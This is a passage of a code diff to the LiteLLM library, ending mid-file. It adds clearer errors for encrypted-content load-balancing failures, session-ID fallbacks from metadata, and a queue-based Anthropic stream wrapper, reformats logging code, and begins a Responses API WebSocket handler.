a/litellm/litellm_core_utils/exception_mapping_utils.py +++ b/litellm/litellm_core_utils/exception_mapping_utils.py @@ -1,9 +1,9 @@ import json +import re import traceback from typing import Any, Optional import httpx -import re import litellm from litellm._logging import verbose_logger @@ -443,6 +443,27 @@ def exception_type( # type: ignore # noqa: PLR0915 response=getattr(original_exception, "response", None), litellm_debug_info=extra_information, ) + elif "invalid_encrypted_content" in error_str or "could not be verified" in error_str: + exception_mapping_worked = True + helpful_message = ( + f"{exception_provider} - {message}\n\n" + " This error occurs when load balancing Responses API across deployments with different API keys.\n" + " Encrypted content is tied to the organization that created it and cannot be decrypted by other organizations.\n\n" + " Solution: Enable 'encrypted_content_affinity' to route follow-up requests to the correct deployment:\n\n" + " router_settings:\n" + " enable_pre_call_checks: true\n" + " optional_pre_call_checks:\n" + " - encrypted_content_affinity\n\n" + " Learn more: https://docs.litellm.ai/docs/response_api#encrypted-content-affinity-multi-region-load-balancing" + ) + raise BadRequestError( + message=helpful_message, + llm_provider=custom_llm_provider, + model=model, + response=getattr(original_exception, "response", None), + litellm_debug_info=extra_information, + body=getattr(original_exception, "body", None), + ) elif ( "invalid_request_error" in error_str and "Incorrect API key provided" not in error_str @@ -2126,7 +2147,27 @@ def exception_type( # type: ignore # noqa: PLR0915 extra_information=extra_information, original_exception=original_exception, ) - + elif azure_error_code == "invalid_encrypted_content" or "could not be verified" in error_str: + exception_mapping_worked = True + helpful_message = ( + f"AzureException - {message}\n\n" + "This error occurs when load balancing Responses API across deployments with different API keys.\n" + " Encrypted content is tied to the organization that created it and cannot be decrypted by other organizations.\n\n" + " Solution: Enable 'encrypted_content_affinity' to route follow-up requests to the correct deployment:\n\n" + " router_settings:\n" + " enable_pre_call_checks: true\n" + " optional_pre_call_checks:\n" + " - encrypted_content_affinity\n\n" + " Learn more: https://docs.litellm.ai/docs/response_api#encrypted-content-affinity-multi-region-load-balancing" + ) + raise BadRequestError( + message=helpful_message, + llm_provider="azure", + model=model, + litellm_debug_info=extra_information, + response=getattr(original_exception, "response", None), + body=getattr(original_exception, "body", None), + ) elif "invalid_request_error" in error_str: exception_mapping_worked = True raise BadRequestError( diff --git a/litellm/litellm_core_utils/get_litellm_params.py b/litellm/litellm_core_utils/get_litellm_params.py index 36a8dfdb5a6..c91e4b6de1d 100644 --- a/litellm/litellm_core_utils/get_litellm_params.py +++ b/litellm/litellm_core_utils/get_litellm_params.py @@ -1,6 +1,5 @@ from typing import Optional - # Pre-define optional kwargs keys as frozenset for O(1) lookups # These are extracted from kwargs only if present, avoiding unnecessary .get() calls _OPTIONAL_KWARGS_KEYS = frozenset({ @@ -95,6 +94,13 @@ def get_litellm_params( litellm_request_debug: Optional[bool] = None, **kwargs, ) -> dict: + # Derive litellm_session_id / litellm_trace_id from metadata when not provided (call chaining) + _meta = metadata or {} + if litellm_session_id is None: + litellm_session_id = _meta.get("session_id") or _meta.get("trace_id") + if litellm_trace_id is None: + litellm_trace_id = _meta.get("trace_id") or _meta.get("session_id") + # Build base dict with explicit parameters (always included) litellm_params = { "acompletion": acompletion, diff --git a/litellm/litellm_core_utils/litellm_logging.py b/litellm/litellm_core_utils/litellm_logging.py index 5e5a6cea1b2..6f587abcdf1 100644 --- a/litellm/litellm_core_utils/litellm_logging.py +++ b/litellm/litellm_core_utils/litellm_logging.py @@ -133,8 +133,8 @@ from ..integrations.azure_sentinel.azure_sentinel import AzureSentinelLogger from ..integrations.azure_storage.azure_storage import AzureBlobStorageLogger from ..integrations.custom_prompt_management import CustomPromptManagement from ..integrations.datadog.datadog import DataDogLogger -from ..integrations.datadog.datadog_metrics import DatadogMetricsLogger from ..integrations.datadog.datadog_llm_obs import DataDogLLMObsLogger +from ..integrations.datadog.datadog_metrics import DatadogMetricsLogger from ..integrations.dotprompt import DotpromptManager from ..integrations.dynamodb import DyanmoDBLogger from ..integrations.galileo import GalileoObserve @@ -352,9 +352,9 @@ class Logging(LiteLLMLoggingBaseClass): ) self.function_id = function_id self.streaming_chunks: List[Any] = [] # for generating complete stream response - self.sync_streaming_chunks: List[ - Any - ] = [] # for generating complete stream response + self.sync_streaming_chunks: List[Any] = ( + [] + ) # for generating complete stream response self.log_raw_request_response = log_raw_request_response # Initialize dynamic callbacks @@ -746,9 +746,9 @@ class Logging(LiteLLMLoggingBaseClass): prompt_spec=prompt_spec, dynamic_callback_params=dynamic_callback_params, ): - self.model_call_details[ - "prompt_integration" - ] = logger.__class__.__name__ + self.model_call_details["prompt_integration"] = ( + logger.__class__.__name__ + ) return logger except Exception: # If check fails, continue to next logger @@ -816,9 +816,9 @@ class Logging(LiteLLMLoggingBaseClass): if anthropic_cache_control_logger := AnthropicCacheControlHook.get_custom_logger_for_anthropic_cache_control_hook( non_default_params ): - self.model_call_details[ - "prompt_integration" - ] = anthropic_cache_control_logger.__class__.__name__ + self.model_call_details["prompt_integration"] = ( + anthropic_cache_control_logger.__class__.__name__ + ) return anthropic_cache_control_logger ######################################################### @@ -830,9 +830,9 @@ class Logging(LiteLLMLoggingBaseClass): internal_usage_cache=None, llm_router=None, ) - self.model_call_details[ - "prompt_integration" - ] = vector_store_custom_logger.__class__.__name__ + self.model_call_details["prompt_integration"] = ( + vector_store_custom_logger.__class__.__name__ + ) # Add to global callbacks so post-call hooks are invoked if ( vector_store_custom_logger @@ -892,9 +892,9 @@ class Logging(LiteLLMLoggingBaseClass): model ): # if model name was changes pre-call, overwrite the initial model call name with the new one self.model_call_details["model"] = model - self.model_call_details["litellm_params"][ - "api_base" - ] = self._get_masked_api_base(additional_args.get("api_base", "")) + self.model_call_details["litellm_params"]["api_base"] = ( + self._get_masked_api_base(additional_args.get("api_base", "")) + ) def pre_call(self, input, api_key, model=None, additional_args={}): # noqa: PLR0915 # Log the exact input to the LLM API @@ -923,10 +923,10 @@ class Logging(LiteLLMLoggingBaseClass): try: # [Non-blocking Extra Debug Information in metadata] if turn_off_message_logging is True: - _metadata[ - "raw_request" - ] = "redacted by litellm. \ + _metadata["raw_request"] = ( + "redacted by litellm. \ 'litellm.turn_off_message_logging=True'" + ) else: curl_command = self._get_request_curl_command( api_base=additional_args.get("api_base", ""), @@ -937,34 +937,34 @@ class Logging(LiteLLMLoggingBaseClass): _metadata["raw_request"] = str(curl_command) # split up, so it's easier to parse in the UI - self.model_call_details[ - "raw_request_typed_dict" - ] = RawRequestTypedDict( - raw_request_api_base=str( - additional_args.get("api_base") or "" - ), - raw_request_body=self._get_raw_request_body( - additional_args.get("complete_input_dict", {}) - ), - # NOTE: setting ignore_sensitive_headers to True will cause - # the Authorization header to be leaked when calls to the health - # endpoint are made and fail. - raw_request_headers=self._get_masked_headers( - additional_args.get("headers", {}) or {}, - ), - error=None, + self.model_call_details["raw_request_typed_dict"] = ( + RawRequestTypedDict( + raw_request_api_base=str( + additional_args.get("api_base") or "" + ), + raw_request_body=self._get_raw_request_body( + additional_args.get("complete_input_dict", {}) + ), + # NOTE: setting ignore_sensitive_headers to True will cause + # the Authorization header to be leaked when calls to the health + # endpoint are made and fail. + raw_request_headers=self._get_masked_headers( + additional_args.get("headers", {}) or {}, + ), + error=None, + ) ) except Exception as e: - self.model_call_details[ - "raw_request_typed_dict" - ] = RawRequestTypedDict( - error=str(e), + self.model_call_details["raw_request_typed_dict"] = ( + RawRequestTypedDict( + error=str(e), + ) ) - _metadata[ - "raw_request" - ] = "Unable to Log \ + _metadata["raw_request"] = ( + "Unable to Log \ raw request: {}".format( - str(e) + str(e) + ) ) if getattr(self, "logger_fn", None) and callable(self.logger_fn): try: @@ -1265,13 +1265,13 @@ class Logging(LiteLLMLoggingBaseClass): for callback in callbacks: try: if isinstance(callback, CustomLogger): - response: Optional[ - MCPPostCallResponseObject - ] = await callback.async_post_mcp_tool_call_hook( - kwargs=kwargs, - response_obj=post_mcp_tool_call_response_obj, - start_time=start_time, - end_time=end_time, + response: Optional[MCPPostCallResponseObject] = ( + await callback.async_post_mcp_tool_call_hook( + kwargs=kwargs, + response_obj=post_mcp_tool_call_response_obj, + start_time=start_time, + end_time=end_time, + ) ) ###################################################################### # if any of the callbacks modify the response, use the modified response @@ -1466,9 +1466,9 @@ class Logging(LiteLLMLoggingBaseClass): verbose_logger.debug( f"response_cost_failure_debug_information: {debug_info}" ) - self.model_call_details[ - "response_cost_failure_debug_information" - ] = debug_info + self.model_call_details["response_cost_failure_debug_information"] = ( + debug_info + ) return None try: @@ -1494,9 +1494,9 @@ class Logging(LiteLLMLoggingBaseClass): verbose_logger.debug( f"response_cost_failure_debug_information: {debug_info}" ) - self.model_call_details[ - "response_cost_failure_debug_information" - ] = debug_info + self.model_call_details["response_cost_failure_debug_information"] = ( + debug_info + ) return None @@ -1652,10 +1652,8 @@ class Logging(LiteLLMLoggingBaseClass): result=logging_result ) - self.model_call_details[ - "standard_logging_object" - ] = self._build_standard_logging_payload( - logging_result, start_time, end_time + self.model_call_details["standard_logging_object"] = ( + self._build_standard_logging_payload(logging_result, start_time, end_time) ) if ( @@ -1734,9 +1732,9 @@ class Logging(LiteLLMLoggingBaseClass): end_time = datetime.datetime.now() if self.completion_start_time is None: self.completion_start_time = end_time - self.model_call_details[ - "completion_start_time" - ] = self.completion_start_time + self.model_call_details["completion_start_time"] = ( + self.completion_start_time + ) self.model_call_details["log_event_type"] = "successful_api_call" self.model_call_details["end_time"] = end_time @@ -1773,10 +1771,10 @@ class Logging(LiteLLMLoggingBaseClass): end_time=end_time, ) elif isinstance(result, dict) or isinstance(result, list): - self.model_call_details[ - "standard_logging_object" - ] = self._build_standard_logging_payload( - result, start_time, end_time + self.model_call_details["standard_logging_object"] = ( + self._build_standard_logging_payload( + result, start_time, end_time + ) ) if ( standard_logging_payload := self.model_call_details.get( @@ -1785,9 +1783,9 @@ class Logging(LiteLLMLoggingBaseClass): ) is not None: emit_standard_logging_payload(standard_logging_payload) elif standard_logging_object is not None: - self.model_call_details[ - "standard_logging_object" - ] = standard_logging_object + self.model_call_details["standard_logging_object"] = ( + standard_logging_object + ) else: self.model_call_details["response_cost"] = None @@ -1945,17 +1943,17 @@ class Logging(LiteLLMLoggingBaseClass): verbose_logger.debug( "Logging Details LiteLLM-Success Call streaming complete" ) - self.model_call_details[ - "complete_streaming_response" - ] = complete_streaming_response - self.model_call_details[ - "response_cost" - ] = self._response_cost_calculator(result=complete_streaming_response) + self.model_call_details["complete_streaming_response"] = ( + complete_streaming_response + ) + self.model_call_details["response_cost"] = ( + self._response_cost_calculator(result=complete_streaming_response) + ) ## STANDARDIZED LOGGING PAYLOAD - self.model_call_details[ - "standard_logging_object" - ] = self._build_standard_logging_payload( - complete_streaming_response, start_time, end_time + self.model_call_details["standard_logging_object"] = ( + self._build_standard_logging_payload( + complete_streaming_response, start_time, end_time + ) ) if ( standard_logging_payload := self.model_call_details.get( @@ -2289,10 +2287,10 @@ class Logging(LiteLLMLoggingBaseClass): ) else: if self.stream and complete_streaming_response: - self.model_call_details[ - "complete_response" - ] = self.model_call_details.get( - "complete_streaming_response", {} + self.model_call_details["complete_response"] = ( + self.model_call_details.get( + "complete_streaming_response", {} + ) ) result = self.model_call_details["complete_response"] openMeterLogger.log_success_event( @@ -2316,10 +2314,10 @@ class Logging(LiteLLMLoggingBaseClass): ) else: if self.stream and complete_streaming_response: - self.model_call_details[ - "complete_response" - ] = self.model_call_details.get( - "complete_streaming_response", {} + self.model_call_details["complete_response"] = ( + self.model_call_details.get( + "complete_streaming_response", {} + ) ) result = self.model_call_details["complete_response"] @@ -2458,9 +2456,9 @@ class Logging(LiteLLMLoggingBaseClass): if complete_streaming_response is not None: print_verbose("Async success callbacks: Got a complete streaming response") - self.model_call_details[ - "async_complete_streaming_response" - ] = complete_streaming_response + self.model_call_details["async_complete_streaming_response"] = ( + complete_streaming_response + ) try: if self.model_call_details.get("cache_hit", False) is True: @@ -2471,10 +2469,10 @@ class Logging(LiteLLMLoggingBaseClass): model_call_details=self.model_call_details ) # base_model defaults to None if not set on model_info - self.model_call_details[ - "response_cost" - ] = self._response_cost_calculator( - result=complete_streaming_response + self.model_call_details["response_cost"] = ( + self._response_cost_calculator( + result=complete_streaming_response + ) ) verbose_logger.debug( @@ -2487,10 +2485,10 @@ class Logging(LiteLLMLoggingBaseClass): self.model_call_details["response_cost"] = None ## STANDARDIZED LOGGING PAYLOAD - self.model_call_details[ - "standard_logging_object" - ] = self._build_standard_logging_payload( - complete_streaming_response, start_time, end_time + self.model_call_details["standard_logging_object"] = ( + self._build_standard_logging_payload( + complete_streaming_response, start_time, end_time + ) ) # print standard logging payload @@ -2517,10 +2515,8 @@ class Logging(LiteLLMLoggingBaseClass): # _success_handler_helper_fn if self.model_call_details.get("standard_logging_object") is None: ## STANDARDIZED LOGGING PAYLOAD - self.model_call_details[ - "standard_logging_object" - ] = self._build_standard_logging_payload( - result, start_time, end_time + self.model_call_details["standard_logging_object"] = ( + self._build_standard_logging_payload(result, start_time, end_time) ) # print standard logging payload @@ -2764,18 +2760,18 @@ class Logging(LiteLLMLoggingBaseClass): ## STANDARDIZED LOGGING PAYLOAD - self.model_call_details[ - "standard_logging_object" - ] = get_standard_logging_object_payload( - kwargs=self.model_call_details, - init_response_obj={}, - start_time=start_time, - end_time=end_time, - logging_obj=self, - status="failure", - error_str=str(exception), - original_exception=exception, - standard_built_in_tools_params=self.standard_built_in_tools_params, + self.model_call_details["standard_logging_object"] = ( + get_standard_logging_object_payload( + kwargs=self.model_call_details, + init_response_obj={}, + start_time=start_time, + end_time=end_time, + logging_obj=self, + status="failure", + error_str=str(exception), + original_exception=exception, + standard_built_in_tools_params=self.standard_built_in_tools_params, + ) ) return start_time, end_time @@ -3739,9 +3735,9 @@ def _init_custom_logger_compatible_class( # noqa: PLR0915 service_name=arize_config.project_name, ) - os.environ[ - "OTEL_EXPORTER_OTLP_TRACES_HEADERS" - ] = f"space_id={arize_config.space_key or arize_config.space_id},api_key={arize_config.api_key}" + os.environ["OTEL_EXPORTER_OTLP_TRACES_HEADERS"] = ( + f"space_id={arize_config.space_key or arize_config.space_id},api_key={arize_config.api_key}" + ) for callback in _in_memory_loggers: if ( isinstance(callback, ArizeLogger) @@ -3767,13 +3763,13 @@ def _init_custom_logger_compatible_class( # noqa: PLR0915 existing_attrs = os.environ.get("OTEL_RESOURCE_ATTRIBUTES", "") # Add openinference.project.name attribute if existing_attrs: - os.environ[ - "OTEL_RESOURCE_ATTRIBUTES" - ] = f"{existing_attrs},openinference.project.name={arize_phoenix_config.project_name}" + os.environ["OTEL_RESOURCE_ATTRIBUTES"] = ( + f"{existing_attrs},openinference.project.name={arize_phoenix_config.project_name}" + ) else: - os.environ[ - "OTEL_RESOURCE_ATTRIBUTES" - ] = f"openinference.project.name={arize_phoenix_config.project_name}" + os.environ["OTEL_RESOURCE_ATTRIBUTES"] = ( + f"openinference.project.name={arize_phoenix_config.project_name}" + ) # Set Phoenix project name from environment variable phoenix_project_name = os.environ.get("PHOENIX_PROJECT_NAME", None) @@ -3781,19 +3777,19 @@ def _init_custom_logger_compatible_class( # noqa: PLR0915 existing_attrs = os.environ.get("OTEL_RESOURCE_ATTRIBUTES", "") # Add openinference.project.name attribute if existing_attrs: - os.environ[ - "OTEL_RESOURCE_ATTRIBUTES" - ] = f"{existing_attrs},openinference.project.name={phoenix_project_name}" + os.environ["OTEL_RESOURCE_ATTRIBUTES"] = ( + f"{existing_attrs},openinference.project.name={phoenix_project_name}" + ) else: - os.environ[ - "OTEL_RESOURCE_ATTRIBUTES" - ] = f"openinference.project.name={phoenix_project_name}" + os.environ["OTEL_RESOURCE_ATTRIBUTES"] = ( + f"openinference.project.name={phoenix_project_name}" + ) # auth can be disabled on local deployments of arize phoenix if arize_phoenix_config.otlp_auth_headers is not None: - os.environ[ - "OTEL_EXPORTER_OTLP_TRACES_HEADERS" - ] = arize_phoenix_config.otlp_auth_headers + os.environ["OTEL_EXPORTER_OTLP_TRACES_HEADERS"] = ( + arize_phoenix_config.otlp_auth_headers + ) for callback in _in_memory_loggers: if ( @@ -3969,9 +3965,9 @@ def _init_custom_logger_compatible_class( # noqa: PLR0915 exporter="otlp_http", endpoint="https://langtrace.ai/api/trace", ) - os.environ[ - "OTEL_EXPORTER_OTLP_TRACES_HEADERS" - ] = f"api_key={os.getenv('LANGTRACE_API_KEY')}" + os.environ["OTEL_EXPORTER_OTLP_TRACES_HEADERS"] = ( + f"api_key={os.getenv('LANGTRACE_API_KEY')}" + ) for callback in _in_memory_loggers: if ( isinstance(callback, OpenTelemetry) @@ -4204,8 +4200,7 @@ def _maybe_auto_initialize_arize_phoenix(_in_memory_loggers: list) -> None: litellm.logging_callback_manager.add_litellm_callback(phoenix_logger) verbose_logger.info( - "Auto-initialized Arize Phoenix logger alongside otel " - "(endpoint=%s)", + "Auto-initialized Arize Phoenix logger alongside otel " "(endpoint=%s)", arize_phoenix_config.endpoint, ) except Exception as e: @@ -4768,9 +4763,11 @@ class StandardLoggingPayloadSetup: ).model_dump() if isinstance(_raw, dict): if ResponseAPILoggingUtils._is_response_api_usage(_raw): - return ResponseAPILoggingUtils._transform_response_api_usage_to_chat_usage( - _raw - ).model_dump() + return ( + ResponseAPILoggingUtils._transform_response_api_usage_to_chat_usage( + _raw + ).model_dump() + ) return _raw if isinstance(_raw, Usage): return _raw.model_dump() @@ -4884,10 +4881,10 @@ class StandardLoggingPayloadSetup: for key in StandardLoggingHiddenParams.__annotations__.keys(): if key in hidden_params: if key == "additional_headers": - clean_hidden_params[ - "additional_headers" - ] = StandardLoggingPayloadSetup.get_additional_headers( - hidden_params[key] + clean_hidden_params["additional_headers"] = ( + StandardLoggingPayloadSetup.get_additional_headers( + hidden_params[key] + ) ) else: clean_hidden_params[key] = hidden_params[key] # type: ignore @@ -5039,14 +5036,22 @@ class StandardLoggingPayloadSetup: dynamic_litellm_session_id = litellm_params.get("litellm_session_id") dynamic_litellm_trace_id = litellm_params.get("litellm_trace_id") + # Note: we recommend using `litellm_session_id` for session tracking # `litellm_trace_id` is an internal litellm param if dynamic_litellm_session_id: return str(dynamic_litellm_session_id) elif dynamic_litellm_trace_id: return str(dynamic_litellm_trace_id) - else: - return logging_obj.litellm_trace_id + # Fallback: use metadata.session_id or metadata.trace_id for call chaining + metadata = litellm_params.get("metadata") or {} + metadata_session_id = metadata.get("session_id") + metadata_trace_id = metadata.get("trace_id") + if metadata_session_id: + return str(metadata_session_id) + if metadata_trace_id: + return str(metadata_trace_id) + return logging_obj.litellm_trace_id @staticmethod def _get_user_agent_tags(proxy_server_request: dict) -> Optional[List[str]]: @@ -5502,9 +5507,9 @@ def scrub_sensitive_keys_in_metadata(litellm_params: Optional[dict]): ): for k, v in metadata["user_api_key_metadata"].items(): if k == "logging": # prevent logging user logging keys - cleaned_user_api_key_metadata[ - k - ] = "scrubbed_by_litellm_for_sensitive_keys" + cleaned_user_api_key_metadata[k] = ( + "scrubbed_by_litellm_for_sensitive_keys" + ) else: cleaned_user_api_key_metadata[k] = v @@ -5616,4 +5621,3 @@ def create_dummy_standard_logging_payload() -> StandardLoggingPayload: model_parameters={"stream": True}, hidden_params=hidden_params, ) - diff --git a/litellm/llms/anthropic/chat/guardrail_translation/handler.py b/litellm/llms/anthropic/chat/guardrail_translation/handler.py index 98650a238e9..a6df346e8a8 100644 --- a/litellm/llms/anthropic/chat/guardrail_translation/handler.py +++ b/litellm/llms/anthropic/chat/guardrail_translation/handler.py @@ -75,7 +75,7 @@ class AnthropicMessagesHandler(BaseTranslation): if messages is None: return data - chat_completion_compatible_request, tool_name_mapping = ( + chat_completion_compatible_request, _tool_name_mapping = ( LiteLLMAnthropicMessagesAdapter().translate_anthropic_to_openai( # Use a shallow copy to avoid mutating request data (pop on litellm_metadata). anthropic_message_request=cast(AnthropicMessagesRequest, data.copy()) @@ -141,6 +141,14 @@ class AnthropicMessagesHandler(BaseTranslation): return data + def extract_request_tool_names(self, data: dict) -> List[str]: + """Extract tool names from Anthropic messages request (tools[].name).""" + names: List[str] = [] + for tool in data.get("tools") or []: + if isinstance(tool, dict) and tool.get("name"): + names.append(str(tool["name"])) + return names + def _extract_input_text_and_images( self, message: Dict[str, Any], diff --git a/litellm/llms/anthropic/experimental_pass_through/adapters/streaming_iterator.py b/litellm/llms/anthropic/experimental_pass_through/adapters/streaming_iterator.py index de634ff9ecf..7f17526e75c 100644 --- a/litellm/llms/anthropic/experimental_pass_through/adapters/streaming_iterator.py +++ b/litellm/llms/anthropic/experimental_pass_through/adapters/streaming_iterator.py @@ -41,7 +41,6 @@ class AnthropicStreamWrapper(AdapterCompletionStreamWrapper): type="text", text="", ) - pending_new_content_block: bool = False chunk_queue: deque = deque() # Queue for buffering multiple chunks def __init__( @@ -80,38 +79,40 @@ class AnthropicStreamWrapper(AdapterCompletionStreamWrapper): from .transformation import LiteLLMAnthropicMessagesAdapter try: + # Always return queued chunks first + if self.chunk_queue: + return self.chunk_queue.popleft() + + # Queue initial chunks if not sent yet if self.sent_first_chunk is False: self.sent_first_chunk = True - return { - "type": "message_start", - "message": { - "id": "msg_{}".format(uuid.uuid4()), - "type": "message", - "role": "assistant", - "content": [], - "model": self.model, - "stop_reason": None, - "stop_sequence": None, - "usage": self._create_initial_usage_delta(), - }, - } + self.chunk_queue.append( + { + "type": "message_start", + "message": { + "id": "msg_{}".format(uuid.uuid4()), + "type": "message", + "role": "assistant", + "content": [], + "model": self.model, + "stop_reason": None, + "stop_sequence": None, + "usage": self._create_initial_usage_delta(), + }, + } + ) + return self.chunk_queue.popleft() + if self.sent_content_block_start is False: self.sent_content_block_start = True - return { - "type": "content_block_start", - "index": self.current_content_block_index, - "content_block": {"type": "text", "text": ""}, - } - - # Handle pending new content block start - if self.pending_new_content_block: - self.pending_new_content_block = False - self.sent_content_block_finish = False # Reset for new block - return { - "type": "content_block_start", - "index": self.current_content_block_index, - "content_block": self.current_content_block_start, - } + self.chunk_queue.append( + { + "type": "content_block_start", + "index": self.current_content_block_index, + "content_block": {"type": "text", "text": ""}, + } + ) + return self.chunk_queue.popleft() for chunk in self.completion_stream: if chunk == "None" or chunk is None: @@ -126,45 +127,65 @@ class AnthropicStreamWrapper(AdapterCompletionStreamWrapper): current_content_block_index=self.current_content_block_index, ) - # Check if we need to start a new content block - # This is where you'd add your logic to detect when a new content block should start - # For example, if the chunk indicates a tool call or different content type - if should_start_new_block and not self.sent_content_block_finish: - # End current content block and prepare for new one - self.holding_chunk = processed_chunk - self.sent_content_block_finish = True - self.pending_new_content_block = True - return { - "type": "content_block_stop", - "index": max(self.current_content_block_index - 1, 0), - } + # Queue the sequence: content_block_stop -> content_block_start + # The trigger chunk itself is not emitted as a delta since the + # content_block_start already carries the relevant information. + self.chunk_queue.append( + { + "type": "content_block_stop", + "index": max(self.current_content_block_index - 1, 0), + } + ) + self.chunk_queue.append( + { + "type": "content_block_start", + "index": self.current_content_block_index, + "content_block": self.current_content_block_start, + } + ) + self.sent_content_block_finish = False + return self.chunk_queue.popleft() if ( processed_chunk["type"] == "message_delta" and self.sent_content_block_finish is False ): - self.holding_chunk = processed_chunk + # Queue both the content_block_stop and the message_delta + self.chunk_queue.append( + { + "type": "content_block_stop", + "index": self.current_content_block_index, + } + ) self.sent_content_block_finish = True - return { - "type": "content_block_stop", - "index": self.current_content_block_index, - } + self.chunk_queue.append(processed_chunk) + return self.chunk_queue.popleft() elif self.holding_chunk is not None: - return_chunk = self.holding_chunk - self.holding_chunk = processed_chunk - return return_chunk + self.chunk_queue.append(self.holding_chunk) + self.chunk_queue.append(processed_chunk) + self.holding_chunk = None + return self.chunk_queue.popleft() else: - return processed_chunk + self.chunk_queue.append(processed_chunk) + return self.chunk_queue.popleft() + + # Handle any remaining held chunks after stream ends if self.holding_chunk is not None: - return_chunk = self.holding_chunk + self.chunk_queue.append(self.holding_chunk) self.holding_chunk = None - return return_chunk - if self.sent_last_message is False: + + if not self.sent_last_message: self.sent_last_message = True - return {"type": "message_stop"} + self.chunk_queue.append({"type": "message_stop"}) + + if self.chunk_queue: + return self.chunk_queue.popleft() + raise StopIteration except StopIteration: + if self.chunk_queue: + return self.chunk_queue.popleft() if self.sent_last_message is False: self.sent_last_message = True return {"type": "message_stop"} @@ -265,7 +286,9 @@ class AnthropicStreamWrapper(AdapterCompletionStreamWrapper): if not self.queued_usage_chunk: if should_start_new_block and not self.sent_content_block_finish: - # Queue the sequence: content_block_stop -> content_block_start -> current_chunk + # Queue the sequence: content_block_stop -> content_block_start + # The trigger chunk itself is not emitted as a delta since the + # content_block_start already carries the relevant information. # 1. Stop current content block self.chunk_queue.append( @@ -284,9 +307,6 @@ class AnthropicStreamWrapper(AdapterCompletionStreamWrapper): } ) - # 3. Queue the current chunk (don't lose it!) - self.chunk_queue.append(processed_chunk) - # Reset state for new block self.sent_content_block_finish = False diff --git a/litellm/llms/azure/chat/gpt_5_transformation.py b/litellm/llms/azure/chat/gpt_5_transformation.py index eeb55911ecf..2a2955fca37 100644 --- a/litellm/llms/azure/chat/gpt_5_transformation.py +++ b/litellm/llms/azure/chat/gpt_5_transformation.py @@ -43,8 +43,12 @@ class AzureOpenAIGPT5Config(AzureOpenAIConfig, OpenAIGPT5Config): if "tool_choice" not in params: params.append("tool_choice") - # Only gpt-5.2 has been verified to support logprobs on Azure - if self.is_model_gpt_5_2_model(model): + # Only gpt-5.2 has been verified to support logprobs on Azure. + # The base OpenAI class includes logprobs for gpt-5.1+, but Azure + # hasn't verified support for gpt-5.1, so remove them unless gpt-5.2. + if self.is_model_gpt_5_1_model(model) and not self.is_model_gpt_5_2_model(model): + params = [p for p in params if p not in ["logprobs", "top_logprobs"]] + elif self.is_model_gpt_5_2_model(model): azure_supported_params = ["logprobs", "top_logprobs"] params.extend(azure_supported_params) diff --git a/litellm/llms/azure/common_utils.py b/litellm/llms/azure/common_utils.py index 25b218fca8c..7ed4306e299 100644 --- a/litellm/llms/azure/common_utils.py +++ b/litellm/llms/azure/common_utils.py @@ -1,6 +1,6 @@ import json import os -from typing import Any, Callable, Dict, Literal, Optional, Union, cast +from typing import Any, Callable, Dict, Literal, NamedTuple, Optional, Union, cast import httpx from openai import AsyncAzureOpenAI, AsyncOpenAI, AzureOpenAI, OpenAI @@ -789,3 +789,39 @@ class BaseAzureLLM(BaseOpenAILLM): return param_value return os.getenv(env_var_key) + +class AzureCredentials(NamedTuple): + api_base: Optional[str] + api_key: Optional[str] + api_version: Optional[str] + + +def get_azure_credentials( + api_base: Optional[str] = None, + api_key: Optional[str] = None, + api_version: Optional[str] = None, +) -> AzureCredentials: + """Resolve Azure credentials from params, litellm globals, and env vars.""" + resolved_api_base = ( + api_base + or litellm.api_base + or get_secret_str("AZURE_API_BASE") + ) + resolved_api_version = ( + api_version + or litellm.api_version + or get_secret_str("AZURE_API_VERSION") + ) + resolved_api_key = ( + api_key + or litellm.api_key + or litellm.azure_key + or get_secret_str("AZURE_OPENAI_API_KEY") + or get_secret_str("AZURE_API_KEY") + ) + return AzureCredentials( + api_base=resolved_api_base, + api_key=resolved_api_key, + api_version=resolved_api_version, + ) + diff --git a/litellm/llms/base_llm/guardrail_translation/base_translation.py b/litellm/llms/base_llm/guardrail_translation/base_translation.py index 7106c207bd6..a7982cb606e 100644 --- a/litellm/llms/base_llm/guardrail_translation/base_translation.py +++ b/litellm/llms/base_llm/guardrail_translation/base_translation.py @@ -98,3 +98,10 @@ class BaseTranslation(ABC): Optional to override in subclasses. """ return responses_so_far + + def extract_request_tool_names(self, data: dict) -> List[str]: + """ + Extract tool names from the request body for allowlist/policy checks. + Override in tool-capable handlers; default returns []. + """ + return [] diff --git a/litellm/llms/custom_httpx/llm_http_handler.py b/litellm/llms/custom_httpx/llm_http_handler.py index d6fdc58099f..29d494dbb50 100644 --- a/litellm/llms/custom_httpx/llm_http_handler.py +++ b/litellm/llms/custom_httpx/llm_http_handler.py @@ -69,6 +69,7 @@ from litellm.responses.streaming_iterator import ( BaseResponsesAPIStreamingIterator, MockResponsesAPIStreamingIterator, ResponsesAPIStreamingIterator, + ResponsesWebSocketStreaming, SyncResponsesAPIStreamingIterator, ) from litellm.types.containers.main import ( @@ -4731,6 +4732,98 @@ class BaseLLMHTTPHandler: f"Unexpected error while closing WebSocket: {close_error}" ) + async def async_responses_websocket( + self, + model: str, + websocket: Any, + logging_obj: LiteLLMLoggingObj, + responses_api_provider_config: BaseResponsesAPIConfig, + api_base: Optional[str] = None, + api_key: Optional[str] = None, + timeout: Optional[float] = None, + user_api_key_dict: Optional[Any] = None, + litellm_metadata: Optional[Dict[str, Any]] = None, + ): + """ + Handles Responses API WebSocket mode. + + Opens a persistent WebSocket to the provider's /v1/responses endpoint + and proxies response.create events bidirectionally for lower-latency + agentic workflows. + """ + import websockets + from websockets.asyncio.client import ClientConnection + + litellm_params = GenericLiteLLMParams() + headers = responses_api_provider_config.validate_environment( + headers={}, + model=model, + litellm_params=litellm_params, + ) + if api_key: + headers["Authorization"] = f"Bearer {api_key}" + + http_url = responses_api_provider_config.get_complete_url( + api_base=api_base, + litellm_params={}, + ) + # /responses -> wss:// URL + ws_url = http_url.replace("https://", "wss://").replace("http://", "ws://") + + try: + ssl_context = get_shared_realtime_ssl_context() + if ws_url.startswith("wss://") and ssl_context is False: + ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) + ssl_context.check_hostname = False + ssl_context.verify_mode = ssl.CERT_NONE + + logging_obj.pre_call( + input=None, + api_key=api_key or "", + additional_args={ + "api_base": ws_url, + "headers": headers, + "complete_input_dict": {"mode": "responses_websocket"}, + }, + ) + + async with websockets.connect( # type: ignore + ws_url, + additional_headers=headers, + max_size=REALTIME_WEBSOCKET_MAX_MESSAGE_SIZE_BYTES, + ssl=ssl_context, + ) as backend_ws: + _request_data: Dict[str, Any] = {} + if litellm_metadata: 